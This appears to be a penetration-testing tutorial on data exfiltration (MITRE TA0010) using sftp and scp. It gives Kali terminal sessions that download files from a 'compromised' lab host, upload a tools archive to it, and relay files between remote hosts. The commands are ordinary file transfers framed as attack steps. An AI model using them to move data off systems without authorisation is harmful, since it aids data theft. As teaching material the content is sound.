Exfiltration : mitre -> TA0010
Exfiltration Is a technigue of removing/transfering data from a compromsied system. Adversaries may use this technigue to steal data from a target network.
Tools
These are some of the tools that are used to exfiltrate data via ssh protocol.
- sftp
- scp
sftp
SFTP Known as SSH File Transfer Protocol or Secure File Transfer Protocol is a network protocol that provides file access, file transfer, and file management over any reliable data stream.
Exfiltrating data from the compromised system
syntax
sftp [username]@[target_ip]
downloading dev.git file from the target system
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(cyberkhalid㉿kali)-[~/pentest/data]
└─$ sftp user1@192.168.43.234
user1@192.168.43.234's password:
Connected to 192.168.43.234.
sftp> ls
Desktop Documents Downloads Music Pictures Public Templates Videos addr.txt b.elf dev.git irc
sftp> get dev.git
Fetching /home/user1/dev.git to dev.git
sftp> exit
┌──(cyberkhalid㉿kali)-[~/pentest/data]
└─$ ls
dev.git
Transfering data to the compromised system
syntax
sftp [username]@[target_ip]
uploading tools.zip file to the target system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(cyberkhalid㉿kali)-[~/pentest/data]
└─$ ls
tools.zip
┌──(cyberkhalid㉿kali)-[~/pentest/data]
└─$ sftp user1@192.168.43.234
user1@192.168.43.234's password:
Connected to 192.168.43.234.
sftp> ls
Desktop Documents Downloads Music Pictures Public Templates Videos addr.txt b.elf dev.git irc
sftp> put tools.zip
Uploading tools.zip to /home/user1/tools.zip
tools.zip 100% 0 0.0KB/s 00:00
sftp> ls
Desktop Documents Downloads Music Pictures Public Templates Videos addr.txt b.elf dev.git irc tools.zip
sftp> exit
SCP
SCP Secure copy protocol (SCP) is a means of securely transferring computer files between a local host and a remote host or between two remote hosts.
Exfiltrating data from the compromised system to your system
syntax
scp [username]@[target_ip]:[path_to_remote_file] [path_to_destination]
downloading dev.git file from the target system
1
2
3
4
5
6
7
8
9
10
┌──(cyberkhalid㉿kali)-[~/pentest/data]
└─$ ls
┌──(cyberkhalid㉿kali)-[~/pentest/data]
└─$ scp user1@192.168.43.234:/home/user1/dev.git /home/cyberkhalid/pentest/data/dev.git
user1@192.168.43.234's password:
┌──(cyberkhalid㉿kali)-[~/pentest/data]
└─$ ls
dev.git
Exfiltrating data from one remote system to another remote system
syntax
scp [username]@[from_target_ip]:[path_to_file_to_be_copied] [username]@[to_target_ip]:[path_to_destination]
transfering dev.git file from 10.42.0.21 to 10.42.0.1
1
2
3
4
5
6
7
8
┌──(cyberkhalid㉿kali)-[~/pentest/data]
└─$ scp user1@10.42.0.21:/home/user1/dev.git cyberkhalid@10.42.0.1:/home/cyberkhalid/pentest/data
cyberkhalid@10.42.0.1's password:
user1@10.42.0.21's password:
┌──(cyberkhalid㉿kali)-[~/pentest/data]
└─$ ls
dev.git
Transfering data to the compromised system
syntax
scp [path_local_file] [username]@[target_ip]:[path_to_destination]
uploading tools.zip file to the target system
1
2
3
4
┌──(cyberkhalid㉿kali)-[~/pentest/data]
└─$ scp tool.zip user1@10.42.0.21:/home/user1/tool.zip
user1@10.42.0.21's password:
tool.zip 100% 0 0.0KB/s 00:00